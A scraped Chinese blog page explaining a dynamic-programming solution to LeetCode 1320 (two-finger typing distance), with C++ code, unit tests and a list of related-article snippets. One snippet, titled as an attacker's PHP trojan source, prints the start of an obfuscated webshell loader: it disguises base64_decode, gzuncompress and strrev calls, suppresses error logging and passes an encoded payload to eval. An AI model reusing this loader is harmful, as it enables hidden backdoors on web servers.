当前位置: 首页 > news >正文

【字符串 状态机动态规划】1320. 二指输入的的最小距离

本文涉及知识点

动态规划汇总
字符串 状态机动态规划

LeetCode1320. 二指输入的的最小距离

二指输入法定制键盘在 X-Y 平面上的布局如上图所示,其中每个大写英文字母都位于某个坐标处。
在这里插入图片描述

例如字母 A 位于坐标 (0,0),字母 B 位于坐标 (0,1),字母 P 位于坐标 (2,3) 且字母 Z 位于坐标 (4,1)。
给你一个待输入字符串 word,请你计算并返回在仅使用两根手指的情况下,键入该字符串需要的最小移动总距离。
坐标 (x1,y1) 和 (x2,y2) 之间的 距离 是 |x1 - x2| + |y1 - y2|。
注意,两根手指的起始位置是零代价的,不计入移动总距离。你的两根手指的起始位置也不必从首字母或者前两个字母开始。
示例 1:
输入:word = “CAKE”
输出:3
解释:
使用两根手指输入 “CAKE” 的最佳方案之一是:
手指 1 在字母 ‘C’ 上 -> 移动距离 = 0
手指 1 在字母 ‘A’ 上 -> 移动距离 = 从字母 ‘C’ 到字母 ‘A’ 的距离 = 2
手指 2 在字母 ‘K’ 上 -> 移动距离 = 0
手指 2 在字母 ‘E’ 上 -> 移动距离 = 从字母 ‘K’ 到字母 ‘E’ 的距离 = 1
总距离 = 3
示例 2:
输入:word = “HAPPY”
输出:6
解释:
使用两根手指输入 “HAPPY” 的最佳方案之一是:
手指 1 在字母 ‘H’ 上 -> 移动距离 = 0
手指 1 在字母 ‘A’ 上 -> 移动距离 = 从字母 ‘H’ 到字母 ‘A’ 的距离 = 2
手指 2 在字母 ‘P’ 上 -> 移动距离 = 0
手指 2 在字母 ‘P’ 上 -> 移动距离 = 从字母 ‘P’ 到字母 ‘P’ 的距离 = 0
手指 1 在字母 ‘Y’ 上 -> 移动距离 = 从字母 ‘A’ 到字母 ‘Y’ 的距离 = 4
总距离 = 6
提示:
2 <= word.length <= 300
每个 word[i] 都是一个大写英文字母。

动态规划

vPosr和vPosc记录各字母所在行列。

动态规划规格的状态表示

dp[i][j][k] 表示处理了i个字母,两只手指分别在字母i和j的最少移动次数。
pre[j][k] = dp[i][j][k]
dp[j][k] = dp[i+1][j][k]
空间复杂度:O(n ∑ ∑ \sum\sum ∑∑),其中n = word.lenght ∑ \sum 是字符集的大小,为26。

动态规划的转移方程

任何前置状态都有只有两个转化方式。移动手指1,移动手指2。
单个状态的时间复杂度O(1)
时间复杂度:O(n ∑ ∑ \sum\sum ∑∑)

动态规划的初始状态

全部为0

动态规划的填表顺序

i = 0 : to n-1

动态规划的返回值

min(pre)

代码

核心代码

template<class ELE, class ELE2>
void MinSelf(ELE* seft, const ELE2& other)
{*seft = min(*seft, (ELE)other);
}class Solution {
public:int minimumDistance(string word) {int rs[26], cs[26];for (int i = 0; i < 26; i++) {rs[i] = i / 6;cs[i] = i % 6;}vector<vector<int>> pre(26, vector<int>(26));for (int i = 0; i < word.length(); i++) {const int cur = word[i] - 'A';vector<vector<int>> dp(26, vector<int>(26, m_iNotMay));for (int j1 = 0; j1 < 26; j1++) {for (int j2 = 0; j2 < 26; j2++) {const int need1 = abs(rs[j1] - rs[cur]) + abs(cs[j1] - cs[cur]);MinSelf(&dp[cur][j2], pre[j1][j2] + need1);const int need2 = abs(rs[j2] - rs[cur]) + abs(cs[j2] - cs[cur]);MinSelf(&dp[j1][cur], pre[j1][j2] + need2);}}pre.swap(dp);}int iRet = m_iNotMay;for (const auto& v : pre) {iRet = min(iRet, *std::min_element(v.begin(),v.end()));}return iRet;}const int m_iNotMay = 1'000'000;
};

单元测试


template<class T>
void AssertEx(const vector<T>& v1, const vector<T>& v2)
{Assert::AreEqual(v1.size(), v2.size());	for (int i = 0; i < v1.size(); i++){Assert::AreEqual(v1[i], v2[i]);}
}template<class T>
void AssertV2(vector<vector<T>> vv1, vector<vector<T>> vv2)
{sort(vv1.begin(), vv1.end());sort(vv2.begin(), vv2.end());Assert::AreEqual(vv1.size(), vv2.size());for (int i = 0; i < vv1.size(); i++){AssertEx(vv1[i], vv2[i]);}
}namespace UnitTest
{string word;TEST_CLASS(UnitTest){public:TEST_METHOD(TestMethod0){word = "AB";auto res = Solution().minimumDistance(word);AssertEx(0, res);}TEST_METHOD(TestMethod01){word = "ABC";auto res = Solution().minimumDistance(word);AssertEx(1, res);}TEST_METHOD(TestMethod02){word = "ABCD";auto res = Solution().minimumDistance(word);AssertEx(2, res);}TEST_METHOD(TestMethod03){word = "ABM";auto res = Solution().minimumDistance(word);AssertEx(1, res);}TEST_METHOD(TestMethod04){word = "ABCM";auto res = Solution().minimumDistance(word);AssertEx(2, res);}TEST_METHOD(TestMethod11){word = "CAK";auto res = Solution().minimumDistance(word);AssertEx(2, res);}TEST_METHOD(TestMethod1){	word = "CAKE";auto res = Solution().minimumDistance(word);	AssertEx(3, res);}TEST_METHOD(TestMethod20){word = "HAPP";auto res = Solution().minimumDistance(word);AssertEx(2, res);}TEST_METHOD(TestMethod2){word = "HAPPY";auto res = Solution().minimumDistance(word);AssertEx(6, res);}};
}

扩展阅读

视频课程

先学简单的课程,请移步CSDN学院,听白银讲师(也就是鄙人)的讲解。
https://edu.csdn.net/course/detail/38771

如何你想快速形成战斗了,为老板分忧,请学习C#入职培训、C++入职培训等课程
https://edu.csdn.net/lecturer/6176

相关推荐

我想对大家说的话
《喜缺全书算法册》以原理、正确性证明、总结为主。
按类别查阅鄙人的算法文章,请点击《算法与数据汇总》。
有效学习:明确的目标 及时的反馈 拉伸区(难度合适) 专注
闻缺陷则喜(喜缺)是一个美好的愿望,早发现问题,早修改问题,给老板节约钱。
子墨子言之:事无终始,无务多业。也就是我们常说的专业的人做专业的事。
如果程序是一条龙,那算法就是他的是睛

测试环境

操作系统:win7 开发环境: VS2019 C++17
或者 操作系统:win10 开发环境: VS2022 C++17
如无特殊说明,本算法用**C++**实现。

相关文章:

【字符串 状态机动态规划】1320. 二指输入的的最小距离

本文涉及知识点 动态规划汇总 字符串 状态机动态规划 LeetCode1320. 二指输入的的最小距离 二指输入法定制键盘在 X-Y 平面上的布局如上图所示&#xff0c;其中每个大写英文字母都位于某个坐标处。 例如字母 A 位于坐标 (0,0)&#xff0c;字母 B 位于坐标 (0,1)&#xff0…...

2024.06.23【读书笔记】丨生物信息学与功能基因组学(第十七章 人类基因组 第三部分)【AI测试版】

第三部分:人类基因组的深入分析与比较基因组学 摘要: 本部分基于2001年国际人类基因组测序联盟(IHGSC)发布的人类基因组测序及分析草图,从生物信息学角度深入讨论了人类基因组的结构特征和分析方法。同时,提及了塞莱拉公司(Celera Genomics)版本的人类基因组草图及其…...

外观模式(大话设计模式)C/C++版本

外观模式 C #include <iostream> using namespace std;class stock1 { public:void Sell(){cout << "股票1卖出" << endl;}void Buy(){cout << "股票1买入" << endl;} };class stock2 { public:void Sell(){cout << …...

PHP木马原文

攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…...

湖南(市场调研)源点咨询 新产品上市前市场机会调研与研究分析

湖南源点调研认为&#xff1a;无论是创业公司&#xff0c;还是在公司内部探索新的项目或者新的产品线等&#xff0c;首先都要做“市场机会分析与调研“&#xff0c;要真正思考并解答以下疑问&#xff1a; 我们的目标客户群体是谁&#xff0c;他们如何决策&#xff1f; 我们所…...

Vue82-组件内路由守卫

一、组件内路由守卫的定义 在一个组件里面去写路由守卫&#xff0c;而不是在路由配置文件index.js中去写。 此时&#xff0c;该路由守卫是改组件所独有的&#xff01; 只有通过路由规则进入的方式&#xff0c;才会调这两个函数&#xff0c;否则&#xff0c;若是只是用<Ab…...

使用ESP32和Flask框架实现温湿度数据监测系统

项目概述 在这个项目中&#xff0c;我们将使用ESP32微控制器读取温湿度传感器的数据&#xff0c;并将这些数据通过HTTP请求传输到基于Flask框架的服务器。Flask是一个轻量级的Python Web框架&#xff0c;非常适合快速开发和部署Web应用。通过这个项目&#xff0c;我们不仅可以了…...

为什么按照正确的顺序就能开始不断地解决问题,按照不正确的顺序,问题就没有办法能够得到解决呢?

按照正确的顺序解决问题与按照不正确的顺序可能导致问题无法解决&#xff0c;这背后有几个关键原因&#xff1a; 1. **逻辑性**&#xff1a; 正确的顺序通常遵循逻辑性和因果关系&#xff08;因为得按照这个基础的逻辑性才能够是自己顺应规律&#xff0c;太阳没有办法能够从西…...

嵌入式Linux gcc 编译器使用解析

目录 1.说明 2.分步编译法 3.编译源文件的四个阶段 4.gdb调试及常用命令 5.Makefile 1.说明 源文件 main.c 想生成 source gcc –g –O2 main.c –o source 黄色部分便是控制字 -g用于GDB –O2用于优化编译; 绿色部分表示源,可以由多个组成,用空格隔开; gcc …...

4、matlab双目相机标定实验

1、双目相机标定原理及流程 双目相机标定是将双目相机系统的内外参数计算出来&#xff0c;从而实现双目视觉中的立体测量和深度感知。标定的目的是确定各个摄像头的内部参数&#xff08;如焦距、主点、畸变等&#xff09;和外部参数&#xff08;如相机位置、朝向等&#xff09…...

Oracle 数据库表和视图 的操作

1. 命令方式操作数据库&#xff08;采用SQL*Plus&#xff09; 1.1 创建表 1.1.1 基本语法格式 CREATE TABLE[<用户方案名>]<表名> (<列名1> <数据类型> [DEFAULT <默认值>] [<列约束>]<列名2> <数据类型> [DEFAULT <默认…...

美国ARC与延锋安全合作,推动汽车安全气囊技术新突破

在汽车安全领域&#xff0c;安全气囊作为关键被动安全配置&#xff0c;对于保障乘客生命安全至关重要。随着汽车工业的快速发展和科技创新的持续推进&#xff0c;安全气囊技术的升级与革新显得尤为重要。2022年10月25日&#xff0c;美国ARC公司与延锋安全携手合作&#xff0c;共…...

Docker:centos79-docker-compose安装记录

1.安装环境&#xff1a;centos7.9 x86 2.安装最新版&#xff1a; [rootlocalhost ~]# curl -fsSL get.docker.com -o get-docker.sh [rootlocalhost ~]# sh get-docker.sh # Executing docker install script, commit: e5543d473431b782227f8908005543bb4389b8desh -c yum in…...

相交链表(Leetcode)

题目分析&#xff1a; . - 力扣&#xff08;LeetCode&#xff09; 相交链表&#xff1a;首先我想到的第一个思路是&#xff1a;如图可知&#xff0c;A和B链表存在长度差&#xff0c;从左边一起遍历链表不好找交点&#xff0c;那我们就从后面开始找&#xff0c;但是这是单链表&…...

建造者模式(大话设计模式)C/C++版本

建造者模式 C 参考&#xff1a;https://www.cnblogs.com/Galesaur-wcy/p/15907863.html #include <iostream> #include <vector> #include <algorithm> #include <string> using namespace std;// Product Class&#xff0c;产品类&#xff0c;由多个…...

【地质灾害监测实现有效预警,44人提前安全转移】

6月13日14时&#xff0c;国信华源地质灾害监测预警系统提前精准预警&#xff0c;安全转移10户44人。 该滑坡隐患点通过科学部署国信华源裂缝计、倾角加速度计、雨量计、预警广播等自动化、智能化监测预警设备&#xff0c;实现了对隐患点裂缝、位移、降雨量等关键要素的实时动态…...

Ruby 数据库访问 - DBI 教程

Ruby 数据库访问 - DBI 教程 本文将详细介绍如何使用 Ruby 的 DBI(Database Interface)库来访问和操作数据库。DBI 是 Ruby 语言中一个常用的数据库接口库,它提供了一套统一的接口来访问不同的数据库系统,如 MySQL、PostgreSQL、SQLite 等。通过本文的学习,您将掌握如何使…...

Linux环境搭建之CentOS7(包含静态IP配置)

&#x1f525; 本文由 程序喵正在路上 原创&#xff0c;CSDN首发&#xff01; &#x1f496; 系列专栏&#xff1a;虚拟机 &#x1f320; 首发时间&#xff1a;2024年6月22日 &#x1f98b; 欢迎关注&#x1f5b1;点赞&#x1f44d;收藏&#x1f31f;留言&#x1f43e; 安装VMw…...

Dell戴尔灵越Inspiron 16 Plus 7640/7630笔记本电脑原装Windows11下载,恢复出厂开箱状态预装OEM系统

灵越16P-7630系统包: 链接&#xff1a;https://pan.baidu.com/s/1Rve5_PF1VO8kAKnAQwP22g?pwdjyqq 提取码&#xff1a;jyqq 灵越16P-7640系统包: 链接&#xff1a;https://pan.baidu.com/s/1B8LeIEKM8IF1xbpMVjy3qg?pwdy9qj 提取码&#xff1a;y9qj 戴尔原装WIN11系…...

.NET C# 装箱与拆箱

.NET C# 装箱与拆箱 目录 .NET C# 装箱与拆箱1 装箱 (Boxing)1.1 过程&#xff1a;1.2 示例&#xff1a; 2 拆箱 (Unboxing)2.1 过程&#xff1a;2.2 示例&#xff1a; 3 性能影响4 性能优化4.1 使用泛型集合示例&#xff1a; 4.2 使用Nullable<T>示例&#xff1a; 4.3 避…...

第19节 Node.js Express 框架

Express 是一个为Node.js设计的web开发框架&#xff0c;它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用&#xff0c;和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...

ES6从入门到精通:前言

ES6简介 ES6&#xff08;ECMAScript 2015&#xff09;是JavaScript语言的重大更新&#xff0c;引入了许多新特性&#xff0c;包括语法糖、新数据类型、模块化支持等&#xff0c;显著提升了开发效率和代码可维护性。 核心知识点概览 变量声明 let 和 const 取代 var&#xf…...

<6>-MySQL表的增删查改

目录 一&#xff0c;create&#xff08;创建表&#xff09; 二&#xff0c;retrieve&#xff08;查询表&#xff09; 1&#xff0c;select列 2&#xff0c;where条件 三&#xff0c;update&#xff08;更新表&#xff09; 四&#xff0c;delete&#xff08;删除表&#xf…...

【网络安全产品大调研系列】2. 体验漏洞扫描

前言 2023 年漏洞扫描服务市场规模预计为 3.06&#xff08;十亿美元&#xff09;。漏洞扫描服务市场行业预计将从 2024 年的 3.48&#xff08;十亿美元&#xff09;增长到 2032 年的 9.54&#xff08;十亿美元&#xff09;。预测期内漏洞扫描服务市场 CAGR&#xff08;增长率&…...

【Go】3、Go语言进阶与依赖管理

前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课&#xff0c;做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程&#xff0c;它的核心机制是 Goroutine 协程、Channel 通道&#xff0c;并基于CSP&#xff08;Communicating Sequential Processes&#xff0…...

python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)

更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...

拉力测试cuda pytorch 把 4070显卡拉满

import torch import timedef stress_test_gpu(matrix_size16384, duration300):"""对GPU进行压力测试&#xff0c;通过持续的矩阵乘法来最大化GPU利用率参数:matrix_size: 矩阵维度大小&#xff0c;增大可提高计算复杂度duration: 测试持续时间&#xff08;秒&…...

图表类系列各种样式PPT模版分享

图标图表系列PPT模版&#xff0c;柱状图PPT模版&#xff0c;线状图PPT模版&#xff0c;折线图PPT模版&#xff0c;饼状图PPT模版&#xff0c;雷达图PPT模版&#xff0c;树状图PPT模版 图表类系列各种样式PPT模版分享&#xff1a;图表系列PPT模板https://pan.quark.cn/s/20d40aa…...

Mac下Android Studio扫描根目录卡死问题记录

环境信息 操作系统: macOS 15.5 (Apple M2芯片)Android Studio版本: Meerkat Feature Drop | 2024.3.2 Patch 1 (Build #AI-243.26053.27.2432.13536105, 2025年5月22日构建) 问题现象 在项目开发过程中&#xff0c;提示一个依赖外部头文件的cpp源文件需要同步&#xff0c;点…...

Device Mapper 机制

Device Mapper 机制详解 Device Mapper&#xff08;简称 DM&#xff09;是 Linux 内核中的一套通用块设备映射框架&#xff0c;为 LVM、加密磁盘、RAID 等提供底层支持。本文将详细介绍 Device Mapper 的原理、实现、内核配置、常用工具、操作测试流程&#xff0c;并配以详细的…...